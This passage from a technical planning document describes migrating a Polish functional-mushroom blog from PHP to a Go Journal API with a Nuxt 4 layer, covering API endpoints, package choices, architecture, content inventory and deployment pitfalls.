- **(a, recommended)** An app-local Go command in `sm-grzybyfunkcjonalne-app` (e.g. `grzyby:import-featured-images --map map.json --source <php uploads/public>`). It reads a slug → `{disk_name, file_name, content_type, file_size}` map produced by a one-off SQL query on the PHP DB, copies each original into the Go bucket under the same Winter partition key (`attach.BlobKey(diskName)` = `PartitionDirectory(diskName) + diskName`), and inserts an `attach.File` row (`AttachmentType` = `Golem15\Journal\Models\Post`, `AttachmentID` = Go post id as string, `Field` = `featured_images`). URLs keep their `/storage/app/uploads/public/xxx/yyy/zzz/<disk_name>` shape, so old image URLs keep working. Go code means Go tests (fits SC-4). [VERIFIED: attach/thumb.go:54-90; attach/file.go:26-45; host config/storage.yaml:3-4 `bucket_url: "file://./storage/app/uploads/public"`, `public_path_prefix: "/storage/app/uploads/public"`]
|
||||
- **(b)** A script that uploads each image through the existing write route `POST /_journal/api/v1/posts/{id}/featured-images` with a backend JWT. No new Go code, but new disk names (old image URLs die), and it needs an admin token.
|
||||
|
||||
Recommend (a). Either way the PHP-side query needs server access (human checkpoint).
|
||||
|
||||
## Journal API available to the layer (anonymous GET)
|
||||
|
||||
[VERIFIED: Read sm-journal-plugin/routes.go:13-20]: verbatim `g.Get("/posts", ...)`, `g.Get("/posts/{slug}", ...)`, `g.Where("slug", `[a-z0-9][a-z0-9\-/]*`)`, `g.Get("/categories", ...)`, `g.Get("/tags", ...)`, `g.Get("/rss", ...)`, group middleware `surf.Use("throttle:journal-public-api")`.
|
||||
|
||||
| Need (D-05) | API support | Evidence | Layer approach |
|
||||
|---|---|---|---|
|
||||
| List + pagination | `GET /posts?page=&per_page=&sort=&category=&tag=&search=`; envelope `{data, meta{current_page,last_page,per_page,total}}` | posts.go:41-42, 101-112; lagoon/paginate.go:4-15 | Pass `page`, `per_page`; read `meta.last_page` |
|
||||
| Page size | `defaultPerPage = 9`, `maxPerPage = 30` | posts.go:23-26 | grzyby sizes 12/10/3 fit |
|
||||
| Sort | columns `published_at`, `created_at`, `updated_at`, `title`, `id` + `asc`/desc; **no `random`** (PHP API.md lists `random`) | posts.go:469-486 | Configurable sort among those values |
|
||||
| Single post | `GET /posts/{slug}` → `{data: {...post, previous_post, next_post, related_posts}}`; 404 `errPostNotFound` for draft/future | posts.go:119-153 | `related_posts` = `randomPosts` successor |
|
||||
| Related posts | same category, `Order("published_at DESC").Limit(3)`; **empty when the post has no category** (1 published post has none) | posts_helpers.go:133-153 | Fallback: latest 3 excluding current |
|
||||
| Post fields | `id, title, slug, excerpt, content, content_html, reading_time, published, published_at, is_pinned, metadata, sources, author, categories[{id,name,slug}], tags[{id,name,slug}], featured_images[{id,url,file_name,file_size}], featured_image_url, translations, created_at, updated_at` | posts.go:547-568 | Render `content_html` (HTML; markdown is not re-rendered client-side) |
|
||||
| Dates | `"2006-01-02T15:04:05+00:00"` UTC | wire/response.go:41-43 | Format with `Intl.DateTimeFormat('pl-PL')` |
|
||||
| Category listing | `GET /categories[?include_empty=1]` tree `{id,name,slug,description,parent_id,nest_depth,post_count,children?}`; **empty categories omitted by default** | posts_helpers.go:155-216 | Always pass `include_empty=1` when resolving `/:category` (`amanita-muscaria` has 0 published posts but is in the live sitemap) |
|
||||
| Category filter | `category=<slug or id>` matches the **host** slug column, includes nested children | posts.go:65-71, 495-516 | OK with pl default |
|
||||
| Tags | `GET /tags` `{id,name,slug,post_count}`; `tag=` filter | posts.go:176-190, 518-528 | Layer tag route; disabled for grzyby (no tags) |
|
||||
| Author page | **No endpoint.** `author=` filter only for editors (posts.go:58-64). Author object `{id, first_name, last_name, login}` (posts.go:576-581): no slug/bio/avatar/subtitle | — | **Gap: Open Question 1** |
|
||||
| RSS | `GET /rss` RSS 2.0; item link `site + "/blog/" + p.Slug`; `site` = config `url`, else `scheme://Host` with `scheme := "http"` unless TLS | rss.go:74, 122-133 | Set `SUMMER_URL=https://<host>` on the Go process or RSS links come out `http://` behind nginx (Pitfall 6) |
|
||||
| Rate limit | `journal-public-api` 120/min keyed on `surf.ClientIP`; `127.0.0.1/32` is a trusted proxy in host `config/http.yaml:15-16` | plugin.go:69-82; surf/clientip.go:16-46 | SSR fetches must forward `X-Forwarded-For` or all visitors share one 120/min bucket (Pitfall 5) |
|
||||
|
||||
## Standard Stack
|
||||
|
||||
### Core (layer and site app; versions pinned as in `vue-summercmsio-app/package.json`)
|
||||
| Library | Version | Purpose | Why Standard |
|
||||
|---------|---------|---------|--------------|
|
||||
| nuxt | 4.4.8 (published 2026-06-08) | SSR framework, layers, Nitro node-server | Project standard (D-01) [VERIFIED: vue-summercmsio-app/package.json; npm registry] |
|
||||
| vue | 3.5.35 | UI runtime | Pinned with Nuxt in the summercms.io app |
|
||||
| @nuxtjs/i18n | 10.4.0 | pl/en UI strings, `prefix_except_default` | D-16 [VERIFIED: package.json] |
|
||||
| @nuxtjs/seo | 5.2.1 | bundles `@nuxtjs/sitemap` 8.6.1, `@nuxtjs/robots` 6.2.4, `nuxt-seo-utils` 8.6.1, `nuxt-schema-org`, `nuxt-og-image`, `nuxt-link-checker`, `nuxt-site-config` | D-13 [VERIFIED: node_modules/@nuxtjs/seo/package.json dependencies] |
|
||||
| @nuxt/fonts | 0.14.0 | self-hosted fonts (grzyby used Open Sans + Jost + Poppins from Google) | D-01 |
|
||||
| typescript | 5.9.3 (dev) | types | Pinned |
|
||||
| Node | 22.22.0 (`.nvmrc`), `engines >=22.18` | runs `node --test` on `.ts` and the Nitro server | [VERIFIED: vue-summercmsio-app/.nvmrc, package.json] |
|
||||
| pnpm | 11.3.0 locally; lockfile v9 | install, git dependency | [VERIFIED: `pnpm --version`] |
|
||||
|
||||
### Supporting
|
||||
| Library | Version | Purpose | When to Use |
|
||||
|---------|---------|---------|-------------|
|
||||
| `nuxt/kit` (re-export of `@nuxt/kit`, ships inside `nuxt`) | 4.4.8 | `defineNuxtModule`, `extendPages`, `createResolver`, `addServerHandler` in the layer's local module | Always (no new dependency) [VERIFIED: node_modules/nuxt/kit.d.ts `export * from '@nuxt/kit'`; @nuxt/kit index.d.mts:301 `declare function extendPages(...)`] |
|
||||
| `sanitize-html` | 2.17.7 (pin; avoid 2.18.0, 9 days old) | full HTML sanitizer | **Only if** the user rejects the "port Go's 3-regex gate" recommendation (A4). `[ASSUMED]` name source: training knowledge. [WARNING: flagged as suspicious (`too-new` on latest) — verify before using.] |
|
||||
|
||||
### Alternatives Considered
|
||||
| Instead of | Could Use | Tradeoff |
|
||||
|------------|-----------|----------|
|
||||
| Page components + `extendPages` from configurable paths | Layer `app/pages/blog/[slug].vue` overridden by app files | Overriding by filename cannot move `/blog/:post` to `/posts/:post` without copying page files, which fails D-06 |
|
||||
| Direct `$fetch` to Go (internal URL on the server, same-origin in the browser) | A Nitro BFF (`server/api/journal/**`) | A BFF adds a hop and caching layer; swr page caching already covers load; the BFF stays an option if sanitization moves server-only |
|
||||
| nginx serving `/storage/app/**` from disk | Mount `attach.StaticHandlerPublic` in an app-local plugin | The handler exists (attach/static.go:26-36) but no host mounts it; nginx static is the Winter precedent and needs no Go code |
|
||||
| `@nuxt/image` for resizing | Use the original `featured_image_url` with `loading="lazy"` and explicit sizes | Go has no public thumb route; `@nuxt/image` is a new dependency; defer |
|
||||
|
||||
**Installation (layer `package.json`):** dependencies `@nuxtjs/i18n@10.4.0`, `@nuxtjs/seo@5.2.1`, `@nuxt/fonts@0.14.0`; devDependencies `nuxt@4.4.8`, `vue@3.5.35`, `typescript@5.9.3`. Per the Nuxt docs, anything the layer imports must be in its `dependencies`, and `nuxt` itself goes in `devDependencies` [CITED: nuxt.com/docs/4.x/guide/going-further/layers].
|
||||
|
||||
**Site app `package.json`:**
|
||||
```json
|
||||
{
|
||||
"dependencies": {
|
||||
"nuxt": "4.4.8",
|
||||
"vue": "3.5.35",
|
||||
"vue-journal-layer": "git+https://git.golem15.com/golem15/vue-journal-layer.git#v0.1.0"
|
||||
}
|
||||
}
|
||||
```
|
||||
Do not list `@nuxtjs/i18n`/`@nuxtjs/seo` in the app at different versions; if listed, pin them identically to the layer (Pitfall 4).
|
||||
|
||||
## Package Legitimacy Audit
|
||||
|
||||
| Package | Registry | Age (pinned version) | Downloads | Source Repo | Verdict | Disposition |
|
||||
|---------|----------|-----|-----------|-------------|---------|-------------|
|
||||
| nuxt | npm | 4.4.8: 4 mo | 2.3M/wk | github.com/nuxt/nuxt | SUS (`too-new`, refers to latest 4.6.0) | Approved: pinned 4.4.8 is already locked in `vue-summercmsio-app/pnpm-lock.yaml` |
|
||||
| @nuxtjs/i18n | npm | 10.4.0 | 735k/wk | github.com/nuxt-modules/i18n | OK | Approved |
|
||||
| @nuxtjs/seo | npm | 5.2.1 | 120k/wk | github.com/harlan-zw/nuxt-seo | SUS (`too-new` on latest) | Approved: 5.2.1 already locked in the summercms.io app |
|
||||
| @nuxt/fonts | npm | 0.14.0 | (in use) | github.com/nuxt/fonts | not re-run | Approved: already locked in the summercms.io app |
|
||||
| sanitize-html | npm | 2.17.7: 2 mo | 11.6M/wk | github.com/apostrophecms/apostrophe | SUS (`too-new` on 2.18.0) | **Conditional**: only if A4 rejected; planner adds `checkpoint:human-verify` before install |
|
||||
|
||||
Postinstall: `sanitize-html` `postinstall: null` [VERIFIED: seam signals]. No new Go dependencies are proposed.
|
||||
|
||||
**Packages removed due to [SLOP] verdict:** none
|
||||
**Packages flagged as suspicious [SUS]:** `sanitize-html` (conditional); nuxt/@nuxtjs/seo SUS flags apply to latest tags, not the pinned versions already in the lockfile.
|
||||
|
||||
## Architecture Patterns
|
||||
|
||||
### System Architecture Diagram
|
||||
|
||||
```
|
||||
Browser ──HTTPS──> nginx (staging vhost on the PHP server)
|
||||
│
|
||||
├─ /gfadmin/**, /_journal/** ──> Go binary (grzybyfunkcjonalne serve, 127.0.0.1:PORT_GO)
|
||||
│ ├─ cabana admin SPA (/gfadmin)
|
||||
│ └─ Journal API ──> Postgres
|
||||
├─ = /rss.xml (rewrite) ──> Go /_journal/api/v1/rss
|
||||
├─ /storage/app/uploads/public/**,
|
||||
│ /storage/app/media/** ──> disk (Go host storage/app/...), images only, nosniff
|
||||
└─ everything else ──> Nuxt Nitro (node .output/server/index.mjs, 127.0.0.1:PORT_NUXT)
|
||||
├─ routeRules swr cache hit? ──yes──> cached HTML
|
||||
└─ miss: SSR page (layer route module decides page by path)
|
||||
├─ $fetch ${journal.apiBase} (internal http://127.0.0.1:PORT_GO/_journal/api/v1,
|
||||
│ forwards X-Forwarded-For) ──> Go Journal API
|
||||
├─ 404 from API / unknown category / page out of range ──> error.vue (404)
|
||||
└─ HTML + payload (content_html after TS html gate)
|
||||
Browser hydration / client navigation ──> same-origin /_journal/api/v1 (nginx ──> Go)
|
||||
/sitemap.xml ──> Nuxt @nuxtjs/sitemap ──> layer server source ──> Go /posts (paged) + /categories?include_empty=1
|
||||
```
|
||||
|
||||
### Recommended Project Structure
|
||||
|
||||
```
|
||||
vue-journal-layer/ # new repo; neutral, never names a site
|
||||
├── nuxt.config.ts # modules: ['@nuxtjs/i18n','@nuxtjs/seo', resolve('./modules/journal')]
|
||||
│ # i18n locales pl/en (langDir via import.meta.url-resolved path), css tokens
|
||||
├── modules/journal.ts # configKey 'journal': routes, perPage, apiBase; extendPages + sitemap source
|
||||
├── app/
|
||||
│ ├── app.config.ts # UI defaults (date format, related count, show author/reading time)
|
||||
│ ├── assets/css/journal-tokens.css # --journal-color-*, --journal-font-*, --journal-space-*, --journal-radius-*
|
||||
│ ├── assets/css/journal-base.css # neutral styles using only tokens
|
||||
│ ├── components/Journal/ # PostCard, PostList, Pagination, PostBody, PostMeta, FeaturedImage,
|
||||
│ │ # RelatedPosts, CategoryHeader, AuthorCard, RssLink (overridable by name)
|
||||
│ ├── composables/ # useJournalApi (typed client), useJournalLinks (route-name based URLs), useJournalPage
|
||||
│ ├── journal-pages/ # NOT app/pages: PostIndexPage, PostPage, CategoryPage, TagPage, AuthorPage
|
||||
│ └── utils/ # pure TS, node --test friendly: types.ts, client.ts, query.ts,
|
||||
│ # pagination.ts, htmlGate.ts, routes.ts (path config validation)
|
||||
├── server/api/__sitemap__/journal.ts # defineSitemapEventHandler -> posts + categories
|
||||
├── i18n/locales/{pl,en}.json # journal.* UI strings
|
||||
├── tests/*.test.ts # node --test
|
||||
└── README.md # neutral (acme/blog)
|
||||
|
||||
sm-grzybyfunkcjonalne-app/ # existing Go host
|
||||
├── config/backend.yaml # uri: /gfadmin
|
||||
├── vue-grzybyfunkcjonalne-app/ # new submodule (D-08)
|
||||
│ ├── nuxt.config.ts # extends ['vue-journal-layer'], journal.routes, routeRules, site, i18n pl default
|
||||
│ ├── app/assets/css/tokens.css # grzyby token overrides (refreshed palette: #0D705D/#27AE60/#138C74 family)
|
||||
│ ├── app/pages/{index,kontakt,trwaja-prace}.vue
|
||||
│ ├── app/components/ # Hero, About, Cta, Services, Faq, SiteHeader(menu), SiteFooter, Journal/* overrides
|
||||
│ ├── app/data/ # menu.ts (typed), faq.pl.json/md, categories/<slug>.md (pillar content, A3)
|
||||
│ ├── app/error.vue
|
||||
│ ├── i18n/locales/pl.json # site copy
|
||||
│ ├── public/ # las.webp, cta/blog images, logo, favicon
|
||||
│ └── tests/*.test.ts
|
||||
├── deploy/{nginx,supervisor,env.example}
|
||||
└── scripts/{build.sh,smoke.sh,check-deploy.sh,urls.txt}
|
||||
```
|
||||
|
||||
### Pattern 1: Configurable routes via a layer module (D-06)
|
||||
**What:** Page components live outside `app/pages`. A local module registers them with `extendPages`, using paths from the `journal.routes` config that the app overrides (defu merge, project wins). Links are built by route **name**, so changing a path never breaks links.
|
||||
**When:** Always, for every Journal view.
|
||||
**i18n compatibility:** Nuxt 4.4.8 defaults `experimental.scanPageMeta` to `"after-resolve"` [VERIFIED: @nuxt/schema@4.4.8 dist/index.mjs:618-620 `return typeof val === "boolean" || val === "after-resolve" ? val : "after-resolve";`]. @nuxtjs/i18n 10.4.0 then localizes in `pages:resolved` [VERIFIED: @nuxtjs/i18n dist/module.mjs:682-683 `nuxt.options.experimental.scanPageMeta === "after-resolve" ? "pages:resolved" : "pages:extend"`], which runs after every `pages:extend`, so routes added by the module are localized whatever the module order. Route names gain a `___pl` suffix, so links must go through `useLocalePath()`/`useLocaleRoute()` [ASSUMED: suffix format].
|
||||
```ts
|
||||
// vue-journal-layer/modules/journal.ts (sketch; option names are recommendations)
|
||||
import { defineNuxtModule, createResolver, extendPages } from 'nuxt/kit'
|
||||
|
||||
export interface JournalRoutes {
|
||||
index: string | false // e.g. '/blog'
|
||||
post: string | false // e.g. '/blog/:slug'
|
||||
category: string | false // e.g. '/blog/category/:category' (neutral default)
|
||||
tag: string | false // e.g. '/blog/tag/:tag'
|
||||
author: string | false // e.g. '/blog/author/:author'
|
||||
}
|
||||
|
||||
export default defineNuxtModule<{ routes: JournalRoutes }>({
|
||||
meta: { name: 'journal', configKey: 'journal' },
|
||||
defaults: {
|
||||
routes: {
|
||||
index: '/blog', post: '/blog/:slug', category: '/blog/category/:category',
|
||||
tag: '/blog/tag/:tag', author: '/blog/author/:author',
|
||||
},
|
||||
},
|
||||
setup(options) {
|
||||
const { resolve } = createResolver(import.meta.url)
|
||||
const pages: Array<[keyof JournalRoutes, string]> = [
|
||||
['index', 'PostIndexPage'], ['post', 'PostPage'], ['category', 'CategoryPage'],
|
||||
['tag', 'TagPage'], ['author', 'AuthorPage'],
|
||||
]
|
||||
extendPages((routes) => {
|
||||
for (const [key, file] of pages) {
|
||||
const path = options.routes[key]
|
||||
if (path === false) continue
|
||||
routes.push({ name: `journal-${key}`, path, file: resolve(`../app/journal-pages/${file}.vue`) })
|
||||
}
|
||||
})
|
||||
},
|
||||
})
|
||||
```
|
||||
```ts
|
||||
// vue-grzybyfunkcjonalne-app/nuxt.config.ts (excerpt)
|
||||
export default defineNuxtConfig({
|
||||
extends: ['vue-journal-layer'],
|
||||
journal: {
|
||||
routes: { index: '/blog', post: '/blog/:slug', category: '/:category', author: '/autor/:author', tag: false },
|
||||
},
|
||||
routeRules: {
|
||||
'/**': { swr: 300 },
|
||||
'/blog/**': { swr: 120 },
|
||||
},
|
||||
})
|
||||
```
|
||||
|
||||
### Pattern 2: Typed client with an internal server base and XFF forwarding
|
||||
**What:** `runtimeConfig.journal.apiBase` (server-only, e.g. `http://127.0.0.1:8096/_journal/api/v1`, overridable with `NUXT_JOURNAL_API_BASE`) and `runtimeConfig.public.journal.apiBase` (default `/_journal/api/v1`, same origin). On the server, forward the visitor's `x-forwarded-for` (Go trusts `127.0.0.1/32` and reads the rightmost untrusted XFF hop). Runtime config is overridden by `NUXT_`-prefixed env vars only for keys declared in `nuxt.config` [CITED: nuxt.com/docs/4.x/guide/going-further/runtime-config].
|
||||
```ts
|
||||
// app/composables/useJournalApi.ts (sketch)
|
||||
export function useJournalApi() {
|
||||
const cfg = useRuntimeConfig()
|
||||
const base = import.meta.server ? cfg.journal.apiBase : cfg.public.journal.apiBase
|
||||
const fwd = import.meta.server ? useRequestHeaders(['x-forwarded-for']) : {}
|
||||
return <T>(path: string, query?: Record<string, unknown>) =>
|
||||
$fetch<T>(path, { baseURL: base, query, headers: fwd })
|
||||
}
|
||||
```
|
||||
|
||||
### Pattern 3: Category route as the root catch-all with a real 404
|
||||
**What:** The category page resolves `:category` against `GET /categories?include_empty=1` (flattened tree), throws `createError({ statusCode: 404, fatal: true })` when absent, then lists `GET /posts?category=<slug>&per_page=10&page=N`. The site app injects pillar content per slug (A3) through a slot or override component.
|
||||
**Why:** Live soft-200s every unknown root path (`/rss`, `/feed`, `/nieistnieje` render a "Kategoria" page). The successor must not.
|
||||
|
||||
### Pattern 4: Token theming (D-03)
|
||||
The layer defines every visual value as `--journal-*` custom properties in `:root` and uses only those tokens. The app overrides them in its own CSS, which loads after the layer CSS because the project's `css` array is appended after the layer's (defu array merge) [ASSUMED: CSS order; verify in the Wave 0 spike]. To be safe, scope app overrides with a selector of equal or higher specificity (`:root:root`) or put them on `html`.
|
||||
|
||||
### Pattern 5: Sitemap source from the API (D-13)
|
||||
```ts
|
||||
// vue-journal-layer/server/api/__sitemap__/journal.ts (sketch)
|
||||
export default defineSitemapEventHandler(async () => {
|
||||
// page through /posts?per_page=30 until meta.last_page; add categories from /categories?include_empty=1
|
||||
// return [{ loc: '/blog/<slug>', lastmod: post.updated_at }, { loc: '/<category>' }, ...]
|
||||
})
|
||||
```
|
||||
with `sitemap: { sources: ['/api/__sitemap__/journal'] }`. Each entry needs `loc`; `lastmod/changefreq/priority/_sitemap` are optional. The resolved sitemap is cached `cacheMaxAgeSeconds` (default 10 min) in production and not cached in dev [CITED: nuxtseo.com/docs/sitemap/guides/dynamic-urls]. Build each `loc` from the route config (the same `journal.routes`), not hard-coded `/blog/`.
|
||||
|
||||
### Anti-Patterns to Avoid
|
||||
- **Layer pages in `app/pages/`:** they get fixed paths and collide with the app's routes, which breaks D-06.
|
||||
- **`~/` or `@/` imports inside layer files:** these resolve to the consuming project. Use relative imports or a `#layers/<name>` alias with `$meta.name` [CITED: nuxt.com layers doc].
|
||||
- **Relative paths in the layer `nuxt.config` (css, langDir):** they resolve against the project. Build them from `fileURLToPath(new URL('.', import.meta.url))` [CITED: nuxt.com layers doc].
|
||||
- **Calling Go's public URL from SSR:** it hairpins through nginx/TLS. Use the internal base.
|
||||
- **`isr` route rules on node-server:** CDN-only semantics (Netlify/Vercel); use `swr: <seconds>` [CITED: nuxt.com/docs/4.x/guide/concepts/rendering].
|
||||
- **Hard-coding `/blog/` in the layer:** RSS in Go hard-codes it (fine for this site), but the layer must use route names.
|
||||
|
||||
## Don't Hand-Roll
|
||||
|
||||
| Problem | Don't Build | Use Instead | Why |
|
||||
|---------|-------------|-------------|-----|
|
||||
| sitemap.xml | XML writer | `@nuxtjs/sitemap` (via `@nuxtjs/seo`) dynamic source | chunking, lastmod, i18n, caching |
|
||||
| robots.txt / meta robots | static file | `@nuxtjs/robots` + `useRobotsRule`/route rules | per-route `noindex` (D-13 `robots_noindex`) |
|
||||
| canonical/OG/twitter tags | manual `useHead` | `useSeoMeta` + `nuxt-seo-utils` site config | absolute URLs from `site.url` |
|
||||
| SSR response cache | custom LRU | `routeRules` `swr` (Nitro cache) | built-in; per-route TTL |
|
||||
| Route localization | manual prefixing | `@nuxtjs/i18n` `prefix_except_default` | future locales (D-16) |
|
||||
| Image partition paths | custom path math | `attach.PartitionDirectory`/`BlobKey` (Go) | Winter-exact layout [VERIFIED: attach/thumb.go:54-69] |
|
||||
| Admin auth for any write | new token scheme | existing cabana backend JWT | Phase 15 D-15 |
|
||||
| Font hosting | Google Fonts `<link>` | `@nuxt/fonts` | privacy, same as summercms.io |
|
||||
|
||||
**Key insight:** The only new logic this phase owns is the URL mapping, the content port and the migration. Everything SEO- or cache-related is a configured module.
|
||||
|
||||
## Runtime State Inventory (content migration)
|
||||
|
||||
| Category | Items Found | Action Required |
|
||||
|----------|-------------|------------------|
|
||||
| Stored data | PHP DB on the server (posts, translations, `system_files` featured images, categories with pillar `content`); local `gf_old.sql` is a 2024 Golem15.Blog dump (7 categories with 4-14 KB `content`, FAQ with 16 entries, sitemanager settings) | Data migration: import posts (pl default first); featured-image migration (needs server SQL); category names/descriptions; pillar content → app files (A3) |
|
||||
| Live service config | Live sitemanager settings (hero/about/cta/services/footer copy) live in the PHP DB, not in git; repo `content/blocks/*` are `*.en.htm` arsha demo copy | Copy the **current** Polish copy from the live HTML (authority) into app i18n/markdown; `gf_old.sql` is a fallback |
|
||||
| OS-registered state | Staging: new supervisor programs (Go + Nuxt), new nginx vhost; the PHP site's own nginx/php-fpm stay untouched | New config files only (D-10) |
|
||||
| Secrets/env vars | `SUMMER_DATABASE__DSN`, `SUMMER_APP__KEY`, `SUMMER_ADMIN__JWT__SECRET`, `SUMMER_GOLEM15__USER__JWT__SECRET` (pattern from summercms.io `deploy/env.example`), plus `SUMMER_URL` (RSS origin) and `NUXT_JOURNAL_API_BASE` | New `.env` on the server; never committed |
|
||||
| Build artifacts | `.output/` (Nuxt server bundle) and `bin/grzybyfunkcjonalne`; Google Analytics `G-MLSV7WJ6W4` in the live layout | Decide analytics successor (Open Question 5) |
|
||||
|
||||
## Content Inventory (D-11, D-12)
|
||||
|
||||
Sizes measured on live HTML and on `gf_old.sql` sitemanager settings [VERIFIED: this session]:
|
||||
|
||||
| Block | Live? | Source | Size |
|
||||
|---|---|---|---|
|
||||
| Hero | yes | title "Grzyby Funkcjonalne", text "Serwis informacyjny poświęcony grzybom funkcjonalnym", CTA "Czytam", bg `/las.webp` (full-size, darken 50%) | tiny |
|
||||
| Latest posts (3) + "Czytaj więcej" → `/blog` | yes | Journal | layer component |
|
||||
| About ("Czym są grzyby funkcjonalne?") | yes | 2 rich-text columns (574 + 780 chars), button "Poznaj naszą misję" | ~1.2 KB text |
|
||||
| CTA ("Skorzystaj z wiedzy ekspertów") | yes | text + image `65f9f2e96287d085855960.png` | tiny |
|
||||
| Services ("Dlaczego warto?") | yes | 4 icon boxes (~400 chars each) | ~1.6 KB |
|
||||
| FAQ (`what-mushrooms-can-give-you`) | yes | intro + 16 Q&A (HTML answers, 200-700 chars) | ~5.7 KB text |
|
||||
| Footer | yes | name, address "Wróblewskiego, 1A/1U, Namysłów", phone 666-681-225, email kontakt@grzybyfunkcjonalne.pl, links (Artykuły blogowe; Golem15, Ciemność.com, Dobra bomba), social (x.com/ophiel118), copyright | small |
|
||||
| Menu (`g15_menu` main) | yes | "Blog" → `/blog`; dropdown "Grzyby Funkcjonalne" listing the 7 categories (type `blog_categories`) | typed config; category list can come from `/categories?include_empty=1` |
|
||||
| Blog page header | yes | hero with blog image (`65f9f2e96287d085855960.png`), title/description from page meta ("Artykuły", "Przeczytaj nasze artykuły na temat grzybów funkcjonalnych") | tiny |
|
||||
| Category pillar content | yes | 6 categories × 12-14 KB HTML (amanita empty) + 7 short descriptions (53-85 chars) | **~80 KB**: largest content item |
|
||||
| Kontakt | live 404 | repo: "Kontakt" / "Skontaktuj Się z Ekspertami od Grzybów Funkcjonalnych" + footer details | small |
|
||||
| Disabled blocks (clients, portfolio, pricing, team, whyus, newsletter, contact) | no | arsha demo copy | **drop** |
|
||||
|
||||
Theme visual baseline: Bootstrap 5 arsha, fonts Open Sans/Jost/Poppins. Colours from sitemanager: main `#000000`, secondary `#0D705D`, accent `#27AE60`, text `#444444`, link `#138C74`, link hover `#1AAC8F`, background `#FFFFFF` [VERIFIED: gf_old.sql sitemanager JSON; may differ from live]. The refresh means a new design using these as seeds, not a Bootstrap port. A UI-SPEC (`/msd-ui-phase`) before planning is recommended.
|
||||
|
||||
## Common Pitfalls
|
||||
|
||||
### Pitfall 1: Importing with `en` as the default locale
|
||||
**What goes wrong:** Every live post URL (`/blog/blog...`) 404s; the API serves stale base titles and markdown.
|
||||
**Why:** The seeded default is `en` (`SELECT 'en', 'English', TRUE, TRUE, 1`). `GET /posts/{slug}` uses `q.Where("slug = ?", slug)` on the host column only.
|
||||
**How to avoid:** After `migrate`, set `pl` as default (admin Settings → Translate → Locales → make default, or `UPDATE golem15_translate_locales SET is_default = (code = 'pl')`), **then** import. Optionally disable `en`.
|
||||
**Warning signs:** `GET /_journal/api/v1/posts/blogbadania-nad-cordycepsem` → 404 after import.
|
||||
|
||||
### Pitfall 2: Editing an imported post in `/gfadmin` wipes its body
|
||||
**What goes wrong:** `content_html` becomes `<!-- raw HTML omitted -->`.
|
||||
**Why:** The pl `content` is HTML. `FormatHTML` uses goldmark without `html.WithUnsafe()` [VERIFIED: format_html.go:15-18]. Falsification probe run this session on `10-faktow-na-temat-cordycepsu.json` pl content:
|
||||
```
|
||||
zz_probe_test.go:20: pl HTML content -> err=<nil> out="<!-- raw HTML omitted -->\n"
|
||||
```
|
||||
**How to avoid in this phase:** Document "do not edit imported posts in the admin until fixed". Record a follow-up todo against `sm-journal-plugin` (convert HTML content to markdown at import, or pass raw HTML through); do not patch it here (D-17).
|
||||
**Warning signs:** Post page shows an empty body after an admin save.
|
||||
|
||||
### Pitfall 3: `journal:import-posts --force` is not idempotent once pl is default
|
||||
**What goes wrong:** The second run looks up the base slug, misses the row (host now has the pl slug), creates a duplicate, then violates `golem15_journal_posts_slug_unique` and the whole transaction rolls back.
|
||||
**How to avoid:** Import once into a freshly migrated DB. To redo: drop the database, `migrate`, set pl default, import again. Put this in the runbook.
|
||||
|
||||
### Pitfall 4: Duplicate Nuxt modules from the layer and the app
|
||||
**What goes wrong:** Two `@nuxtjs/i18n` copies at different versions, so locale state is split or the build warns.
|
||||
**How to avoid:** Modules are declared once, in the layer `nuxt.config`. The app either omits them or pins the same exact versions. Keep the lazy-load locale format identical across layers ("Mixing locale configuration such as lazy loading objects and strings may not work as expected") [CITED: i18n.nuxtjs.org/docs/guide/layers].
|
||||
|
||||
### Pitfall 5: All SSR traffic shares one rate-limit bucket
|
||||
**What goes wrong:** Cache misses from many visitors all come from 127.0.0.1, exceed 120/min, and Go answers 429. Pages then error.
|
||||
**How to avoid:** Forward `x-forwarded-for` from the incoming request in the SSR fetch (Pattern 2); keep swr TTLs ≥ 60 s; the sitemap source pages at `per_page=30`.
|
||||
|
||||
### Pitfall 6: RSS links come out `http://` and with the wrong host
|
||||
**Why:** `requestOrigin` uses config `url`, else `"http"` + `r.Host` (TLS is terminated at nginx) [VERIFIED: rss.go:122-133].
|
||||
**How to avoid:** Set `SUMMER_URL=https://<staging host>` in the Go `.env` (compass maps `SUMMER_URL` to the top-level `url` key [VERIFIED: compass README line 96 mapping rule]), and `proxy_set_header Host $host`.
|
||||
|
||||
### Pitfall 7: Nothing serves `/storage/app/**`
|
||||
**Why:** The framework has `attach.StaticHandler`/`StaticHandlerPublic` but no host mounts them [VERIFIED: grep usage; attach/static.go:26-36]. The static.go comment warns: "Do not mount the ungated handler on the app origin — same-origin Content-Type from uploads is XSS-relevant."
|
||||
**How to avoid:** nginx `location ^~ /storage/app/uploads/public/` and `/storage/app/media/` aliasing the Go host's storage dirs. Allow only image extensions (`jpe?g|png|gif|webp`), set `add_header X-Content-Type-Options nosniff`, `expires 30d`.
|
||||
|
||||
### Pitfall 8: Category pages for empty categories 404
|
||||
**Why:** `/categories` omits categories with 0 published posts unless `include_empty=1`. `amanita-muscaria` (in the live sitemap) has 0 published posts.
|
||||
**How to avoid:** Always `include_empty=1` when resolving a slug and building the sitemap.
|
||||
|
||||
### Pitfall 9: Layer CSS/i18n paths resolved against the app
|
||||
**How to avoid:** In the layer config use `const currentDir = dirname(fileURLToPath(import.meta.url))` and absolute `css`/`langDir` paths [CITED: nuxt.com layers doc]. Test by building the site app against the layer installed from git, not only via `link:`.
|
||||
|
||||
### Pitfall 10: pnpm git dependency from Gitea
|
||||
**What goes wrong:** pnpm cannot resolve a tag on a non-GitHub host, the lockfile pins a branch, or a `prepare` script never runs.
|
||||
**How to avoid:** The layer ships source and has no `prepare`/build script ("A Git-hosted dependency that ships sources rather than a built package has to be prepared": avoid needing it) [CITED: pnpm.io/package-sources]. Use the full form `git+https://git.golem15.com/golem15/vue-journal-layer.git#v0.1.0`. Wave 0 spike: install it in a scratch app and run `nuxt build` [ASSUMED: works against Gitea 1.25.4 over anonymous HTTPS].
|
||||
|
||||
### Pitfall 11: Repos do not exist yet
|
||||
`https://git.golem15.com/golem15/vue-journal-layer` and `/vue-grzybyfunkcjonalne-app` return 404 [VERIFIED: curl this session]. Creating them on Gitea is a human step (credentials); plan a checkpoint.
|
||||
|
||||
### Pitfall 12: Node and Postgres availability on the PHP server
|
||||
